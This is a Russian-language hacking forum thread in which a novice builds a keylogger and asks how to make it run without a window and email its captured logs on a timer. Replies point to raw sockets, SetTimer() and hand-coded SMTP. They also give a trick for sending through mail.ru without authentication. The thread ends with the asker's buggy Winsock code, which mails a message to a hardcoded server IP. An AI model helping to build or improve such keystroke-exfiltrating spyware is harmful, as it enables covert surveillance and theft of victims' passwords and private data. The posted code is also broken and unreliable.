вобщем такая фигня: пишу от некуй делать кейлогер(в b c++ b) и мне хочиццо, чтоб он отправлял на мыло лог через определенное время. как это сделать, если прога должна быть без окон, а нуно добавить NMSMTP и таймер, которые вродь прилепляются к окну
Отправку реализуй через сокеты, а таймер - функция SetTimer() (это API) На прямой вопрос ответа не знаю. Но то что я тебе сказал - будет идеальным вариантом.
с set timer понял, а вот чо такое сокеты и как ето все написать объясни для ламеров плз. мне прост сетку с норм скоростью гдето полгода назад подрубили, дык я пока в етом всем ламосос
держи http://forum.web-hack.ru/index.php?showtopic=6328 в кратце. Сокеты работают на прямую с протоколом. Чтобы отправить письмо, тебе прийдеться знать помимо того как работать с сокетами еще и протокол отправки письма. то есть smtp. Если че спрашивай
на панели задач она вродь видна. кроме того она конкр увеличит размер проги. ну вродь с кокетами разобрался. а вот как через них юзать smtp не собсем вйэхал. киньте ктонить линк на статейку какуюнить...
вот описание протокола: http://www.codenet.ru/webmast/smtp.php Там ясно описано, какие значения нужно отправлять серверу и какие сервер должен возвращать. И еще: если будешь юзать для почты сервисы от mail.ru (или подобных), на которых требуется авторизация через pop3, то когда будешь тестить заходи на почтовый ящик обычным клиентом (the bat) и проверь почту. После этого где-то полчаса можешь работать без авторизации. P.S. если из этой статейки ничего не поймешь поюзай гугл. Таких примеров миллион для каждого языка программирования.
пасиб исчо раз. Вы должны добавить репутацию кому-то еще, прежде чем сможете снова добавить ее je0n. ----------------------------------------------------------------------- ЗЫ если у кого возникнет такойжа вопрос, как у меня--нашел вот это .... ЗЗЫ а еще вот это и вот это зззЫ кто может сказать почему сия чуда не пашет? Code: #include<winsock.h> #include<vcl.h> WINAPI SendMail(void) { WSADATA stWSADataTCPIP; if(WSAStartup(0x0101, &stWSADataTCPIP)) { SOCKET nSMTPServerSocket; struct sockaddr_in smtp_address; int nConnect; int iLength; int iMsg = 0; int iEnd = 0; BYTE sBuf[4096]; char *MailMessage[] = { "HELO axel.ru\r\n", "MAIL FROM:<vasya_pupkin@cool_mail.ru>\r\n", // отправитель "RCPT TO:<loki_hapuk@mail.ru>\r\n", // получатель "DATA\r\n", "здрасте, я smtp\r\n\r\n.\r\n", // сам собсна текст "QUIT\r\n", NULL }; //--------------------------------------------------------------------- if(nSMTPServerSocket != INVALID_SOCKET) { smtp_address.sin_family = AF_INET; // IPшник сервера smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111"); smtp_address.sin_port = htons(25); nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address, sizeof(smtp_address)); if(nConnect) { } else { do { iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0); iEnd += iLength; sBuf[iEnd] = '\0'; send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0); iMsg++; } while(MailMessage[iMsg]); } closesocket(nSMTPServerSocket); } } return void; } //---------------------------- WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { SendMail(); ExitProcess(0); return 0; }